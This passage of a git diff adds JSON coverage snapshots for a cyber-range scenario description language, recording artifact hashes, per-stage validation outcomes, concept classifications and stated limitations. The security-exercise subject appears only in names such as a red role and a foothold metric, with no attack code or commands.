"54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "2818046a74bf8be2ede16398454d52da070fff8e9b230527d2e566959fd37655", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "49b5567e6b9c340ca6402424af774686ce02220a", + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v55", + "snapshot_revision": "60.0.0", + "source_state": { + "base_revision": "49b5567e6b9c340ca6402424af774686ce02220a", + "checkout_state": "modified", + "implementation_digest": "be811200bbac80134856404f1d88b4868f8c0d82b0212f5bdbd784a5fd5be285", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v61.json b/docs/research/specification-coverage/execution-snapshot-v61.json new file mode 100644 index 000000000..09d49d207 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v61.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "eecc20e815a93387560fabc5a1fe20b3ffa471d9fc73c44ecc4f62df871d687c", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "406033379df730d522c333b5db8e1f39f185f044", + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v56", + "snapshot_revision": "61.0.0", + "source_state": { + "base_revision": "406033379df730d522c333b5db8e1f39f185f044", + "checkout_state": "modified", + 